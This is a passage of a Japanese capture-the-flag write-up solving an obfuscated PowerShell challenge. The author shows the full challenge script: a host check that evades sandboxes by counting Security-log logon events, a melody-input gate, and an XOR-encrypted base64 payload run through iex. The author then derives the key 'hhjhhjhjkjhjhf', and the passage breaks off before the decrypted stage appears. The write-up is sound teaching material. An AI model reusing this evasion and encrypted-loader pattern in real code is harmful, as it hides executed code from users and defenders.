-n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x;x ' ' -b 15 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x;x ' ' -b 15 -n;x ' ' -b 12 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 12 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x;x ' ' -b 15 -n;x ' ' -b 12 -n;x ' ' -b 15 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x;x ' ' -b 15 -n;x ' ' -b 12 -n;x ' ' -b 15 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x;x ' ' -b 15 -n;x ' ' -b 12 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 12 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x;x ' ' -b 15 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 15 -n;x ' ' -b 12 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x;x ' ' -b 15 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 15 -n;x ' ' -b 12 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x;x ' ' -b 15 -n;x ' ' -b 12 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 12 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x;x ' ' -b 15 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x;x; <# Host Check #> Write-Host -b 00 -f 15 Checking Host... Please wait... -n Try{ If ((Get-EventLog -LogName Security | Where EventID -Eq 4624).Length -Lt 1000) { Write-Host "This host is too fresh!" Exit } }Catch{ Write-Host "Failed: No admin rights!" Exit } Write-Host "Check passed" $keytone=@{'a'=261.63} $pk='a' ForEach($k in ('w','s','e','d','f','t','g','y','h','u','j','k')){ $keytone+=@{$k=$keytone[$pk]*[math]::pow(2,1/12)};$pk=$k } Write-Host -b 00 -f 15 "Play the secret melody." Write-Host -b 15 -f 00 -n ' ' Write-Host -b 00 -f 15 -n ' ' Write-Host -b 15 -f 00 -n ' ' Write-Host -b 00 -f 15 -n ' ' Write-Host -b 15 -f 00 -n ' | ' Write-Host -b 00 -f 15 -n ' ' Write-Host -b 15 -f 00 -n ' ' Write-Host -b 00 -f 15 -n ' ' Write-Host -b 15 -f 00 -n ' ' Write-Host -b 00 -f 15 -n ' ' Write-Host -b 15 -f 00 ' | ' Write-Host -b 15 -f 00 -n ' ' Write-Host -b 00 -f 15 -n ' ' Write-Host -b 15 -f 00 -n ' ' Write-Host -b 00 -f 15 -n ' ' Write-Host -b 15 -f 00 -n ' | ' Write-Host -b 00 -f 15 -n ' ' Write-Host -b 15 -f 00 -n ' ' Write-Host -b 00 -f 15 -n ' ' Write-Host -b 15 -f 00 -n ' ' Write-Host -b 00 -f 15 -n ' ' Write-Host -b 15 -f 00 ' | ' Write-Host -b 15 -f 00 -n ' ' Write-Host -b 00 -f 15 -n ' w ' Write-Host -b 15 -f 00 -n ' ' Write-Host -b 00 -f 15 -n ' e ' Write-Host -b 15 -f 00 -n ' | ' Write-Host -b 00 -f 15 -n ' t ' Write-Host -b 15 -f 00 -n ' ' Write-Host -b 00 -f 15 -n ' y ' Write-Host -b 15 -f 00 -n ' ' Write-Host -b 00 -f 15 -n ' u ' Write-Host -b 15 -f 00 ' | ' Write-Host -b 15 -f 00 -n ' |' Write-Host -b 15 -f 00 -n ' |' Write-Host -b 15 -f 00 -n ' |' Write-Host -b 15 -f 00 -n ' |' Write-Host -b 15 -f 00 -n ' |' Write-Host -b 15 -f 00 -n ' |' Write-Host -b 15 -f 00 -n ' |' Write-Host -b 15 -f 00 ' ' Write-Host -b 15 -f 00 -n ' a |' Write-Host -b 15 -f 00 -n ' s |' Write-Host -b 15 -f 00 -n ' d |' Write-Host -b 15 -f 00 -n ' f |' Write-Host -b 15 -f 00 -n ' g |' Write-Host -b 15 -f 00 -n ' h |' Write-Host -b 15 -f 00 -n ' j |' Write-Host -b 15 -f 00 ' k ' Write-Host -b 15 -f 00 -n ' |' Write-Host -b 15 -f 00 -n ' |' Write-Host -b 15 -f 00 -n ' |' Write-Host -b 15 -f 00 -n ' |' Write-Host -b 15 -f 00 -n ' |' Write-Host -b 15 -f 00 -n ' |' Write-Host -b 15 -f 00 -n ' |' Write-Host -b 15 -f 00 ' ' Write-Host $stage1=@();$f=""; While($stage1.length -lt 14){ $key=(Get-Host).ui.RawUI.ReadKey("NoEcho,IncludeKeyDown") $k=[String]$key.Character $f+=$k; If($keytone.Contains($k)){ $stage1+=[math]::floor($keytone[$k]) [console]::beep($keytone[$k],500) } } $secret=@(440,440,493,440,440,493,440,493,523,493,440,493,440,349) If($secret.length -eq $stage1.length){ For ($i=1; $i -le $secret.length; $i++) { If($secret[$i] -ne $stage1[$i]){ Exit } } x "Correct. Move to the next stage." } $text=@" YkwRUxVXQ05DQ1NOE1sVVU4TUxdTThBBFVdDTUwTURVTThMqFldDQUwdUxVRTBNEFVdAQUwRUxtT TBEzFVdDQU8RUxdTbEwTNxVVQUNOEFEVUUwdQBVXQ0NOE1EWUUwRQRtVQ0FME1EVUU8RThdVTUNM EVMVUUwRFxdVQUNCE1MXU2JOE0gWV0oxSk1KTEIoExdBSDBOE0MVO0NKTkAoERVDSTFKThNNFUwR FBVINUFJTkAqExtBSjFKTBEoF08RVRdKO0NKTldKMUwRQBc1QUo7SlNgTBNRFVdJSEZCSkJAKBEV QUgzSE8RQxdMHTMVSDVDSExCKxEVQ0o9SkwRQxVOE0IWSDVBSkJAKBEVQUgzThBXFTdDRExAKhMV Q0oxTxEzFzVNSkxVSjNOE0EWN0NITE4oExdBSjFMEUUXNUNTbEwTURVVSExCKxEVQ0o9SkwRQxVO EzEWSDVBSkJAKBEVQUgzThAxFTdDREwTURVKMUpOECoVThNPFUo3U0pOE0gWThNEFUITQBdDTBFK F08RQBdMHRQVQUwTSBVOEEIVThNPFUNOE0oXTBFDF0wRQRtDTBFKFU4TQxZOExYVTUwTSBVMEUEX TxFOF0NCE0oXTBNCFU4QQRVBTB1KFU4TThdMESsXQ04TRBVMEUMVThNXFk4TQRVNTBNIFUwRFBdP EUEXQ0ITShdME0EVThBXFU4TWxVDThNKF0wRMBdMETUbQ0wRShVOE0MWThMqFU1ME0gVTBFDF08R QxdMHUMVQUwTSBVOEEEVThNNFUwRNRVBTBFJF0wRQxtME0EVTBFAF0BOE0gVQhNGF0wTKhVBTxFK F0wdMxVOEzUXQ04QSBVOE0AVTBFVFUFMEUkXTBFDG0wTQRVMETMXQE4TSBVCE0MXTBNBFU4QQRVB TB1KFU4TQxdMEVYXTBEUG0NMEUoVThNBFk4TQRVCEygXQ0wRShdPEUMXTB1DFU4TQBdDThBIFU4T SBVMESgVQUwRSRdMEUYbTBMWFUNOE0gWThNCFUITFBdDTBFKF08RQxdMHUMVThNVF0NOEEgVThNN FUwRQxVOE0IWQUwRShtME0EVTBFVF08RQxdDQhNKF0wTQRVOEEEVThM9FUNOE0oXTBFFF0wRKBtD TBFKFU4TQRZOE0EVQhNAF0NMEUoXTxFDF0wdVRVOEzMXQ04QSBVOE00VTBFVFU4TQRZBTBFKG0wT RBVMESgXQE4TSBVCE0MXTBNBFU4QKhVBTB1KFU4TFBdMEUIXQ04TRBVMEUMVThNBFk4TNxVNTBNI FUwRQxdPEUMXTB01FUFME0gVThBBFU4TTRVMERQVQUwRSRdMEUMbTBNBFUwRQxdAThNIFUITQxdM E0EVThAxFUFMHUoVThNDF0wRVhdMEVUbQ0wRShVOE0QWThMWFU1ME0gVTBFDF08RRhdDQhNKF0wT QRVOEFcVQUwdShVOE0EXTBFFF0NOE0QVTBFDFU4TVxZOEyoVTUwTSBVMETMXTxFVF0NCE0oXTBNE FU4QQhVBTB1KFU4TQBdMERcXQ04TRBVMEUAVThNDFkFMEUobTBNCFUwRQRdAThNIFUITQRdMExYV QU8RShdMHUEVThNOF0NOEEgVThNIFUwRKBVBTBFJF0wRMxtMEzcVQ04TSBZOE0EVQhNVF0wTQRVB TxFKF0wdQxVOE0MXTBFFF0NOE0QVTBFGFU4TKhZBTBFKG0wTRBVMERQXQE4TSBVCE04XTBNXFUFP EUoXTB0zFU4TThdDThBIFU4TTRVMEUMVThMWFkFMEUobTBNCFUwRFBdAThNIFUITQxdME0EVThAx FUFMHUoVThNGF0wRQxdDThNEFUwRQRVOEyoWQUwRShtMEzcVTBFDF0BOE0gVQhMzF0wTFhVBTxFK F0wdMxVOExQXQ04QSBVOE0gVTBEUFUFMEUkXTBEzG0wTQRVDThNIFk4TQRVCEygXTBNEFUFPEUoX TB1DFU4TRhdDThBIFU4TTRVMEVUVQUwRSRdMERQbQ0wRShVOE0wWThNDFU1ME0gVTBFDF08RQxdM HTMVQUwTSBVOEEEVThNbFUwRNRVBTBFJF0wRQxtME0EVTBFAF0BOE0gVQhNDF0wTVxVOEEEVQUwd ShVOEzMXTBE2F0NOE0QVTBFBFU4TKhZBTBFKG0wTQRVMEUMXTxFDF0NCE0oXTBNBFU4QQRVOEzsV Q04TShdMEUAXTBFDG0wTQhVDThNIFk4TRBVCEygXQ0wRShdPEUYXTB0UFUFME0gVThBDFU4TTRVD ThNKF0wRQBdMEUMbTBNBFUNOE0gWThNBFUITQxdME0EVQU8RShdMHUMVThNVF0wRVhdDThNEFUwR RhVOEyoWQUwRShtME0MVTBEzF0BOE0gVQhNDF0wTQRVOEEEVQUwdShVOExQXTBFNF0NOE0QVTBFG FU4TRBZBTBFKG0wTRBVMERQXQE4TSBVCEzUXTBMWFUFPEUoXTB1DFU4TRhdDThBIFU4TTRVMEVUV QUwRSRdMERQbQ0wRShVOE0wWThNDFU1ME0gVTBFDF08RQxdMHTMVQUwTSBVOEEEVThNbFUwRNRVB TBFJF0wRQxtME0EVTBFAF0BOE0gVQhNDF0wTVxVOEEEVQUwdShVOEzMXTBE2F0NOE0QVTBFBFU4T KhZBTBFKG0wTQRVMEUMXTxFDF0NCE0oXTBNBFU4QQRVOEzsVQ04TShdMEUAXTBFDG0wTQhVDThNI Fk4TRBVCEygXQ0wRShdPEUYXTB0zFUFME0gVThBMFU4TSBVDThNKF0wRQxdMERQbQ0wRShVOE0IW ThNDFU1ME0gVTBFAF08RQRdDQhNKF0wTQxVOEBYVQUwdShVOE0EXTBFNF0NOE0QVTBFDFU4TKhZO E0QVTUwTSBVMEUYXTxFAF0NCE0oXTBNCFU4QFhVBTB1KFU4TQBdMEUIXQ04TRBVMEUAVThNDFkFM EUobTBNDFUwRFBdAThNIFUITQRdME0wVQU8RShdMHUMVThMoF0wRNhdDThNEFUwRRhVOEzEWQUwR ShtME0EVTBFGF0BOE0gVQhNDF0wTVxVBTxFKF0wdQxVOEygXTBE2FxROE10VShZOTBFTF2E= "@ $plain=@() $byteString = [System.Convert]::FromBase64String($text) $xordData = $(for ($i = 0; $i -lt $byteString.length; ) { for ($j = 0; $j -lt $f.length; $j++) { $plain+=$byteString[$i] -bxor $f[$j] $i++ if ($i -ge $byteString.Length) { $j = $f.length } } }) iex([System.Text.Encoding]::ASCII.GetString($plain))
While($stage1.length -lt 14)
でループして入力値を受け取り,その後のifとforでチェックして If($secret[$i] -ne $stage1[$i])
を通るようであればExitしているらしいです.まずはここを通らないようにする必要がありそうです.
まずsecretですが $secret=@(440,440,493,440,440,493,440,493,523,493,440,493,440,349)
このように宣言されています.なんかドレミの周波数っぽいです.440はラですし.
$stage1に上記の通りに音階を準備したいところですが,どの鍵盤を叩けばラ(440)がでるかとかピアノやっている人なら鍵盤を見てわかるのでしょうか,僕はわからないので大人しくコードを読みました.
$stage1は $stage1+=[math]::floor($keytone[$k])
とあるので$keytoneと$kを見る必要がありますが,この直前に$kには入力値を入れていることがわかるので,$keytoneを見ていきます.
$keytone=@{'a'=261.63} $pk='a' ForEach($k in ('w','s','e','d','f','t','g','y','h','u','j','k')){ $keytone+=@{$k=$keytone[$pk]*[math]::pow(2,1/12)};$pk=$k }
$keytoneは連想配列として定義されていて,どうやら'a'がドらしいです.$keytoneにはこれら ('w','s','e','d','f','t','g','y','h','u','j','k')
をkeyにして値を追加していっています.
この処理を別ファイルに書き出して,最終的に$keytoneを出力してみました.
PS C:\Users\ywkw1\Work> .\keytone.ps1 a 261.63 w 277.187329377222 s 293.669745699181 e 311.132257498162 d 329.633144283996 f 349.234151046506 t 370.000694323673 g 392.002080523246 y 415.31173722644 h 440.007458245659 u 466.171663254114 j 493.891672853823 k 523.26
よって, (440,440,493,440,440,493,440,493,523,493,440,493,440,349)
この順番になるように打つとすると, hhjhhjhjkjhjhf
です.
早速打ってみると「さくらさくら」が流れて,以下のようにpasswordを求められるようになりました.
Correct. Move to the next stage. Enter the password: hoge
再びスクリプトを見ていきます.
$plain=@() $byteString = [System.Convert]::FromBase64String($text) $xordData = $(for ($i = 0; $i -lt $byteString.length; ) { for ($j = 0; $j -lt $f.length; $j++) { $plain+=$byteString[$i] -bxor $f[$j] $i++ if ($i -ge $byteString.Length) { $j = $f.length } } }) iex([System.Text.Encoding]::ASCII.GetString($plain))
$textというbase64でエンコードされた変数に対して,先ほどの正しい入力値を使ってxorで復号しているようです.その後,それを実行しているようなので,再びどんなコードが実行されているのか$plainを別ファイルへ書き出してみました.
すると,以下のような内容のファイルが.
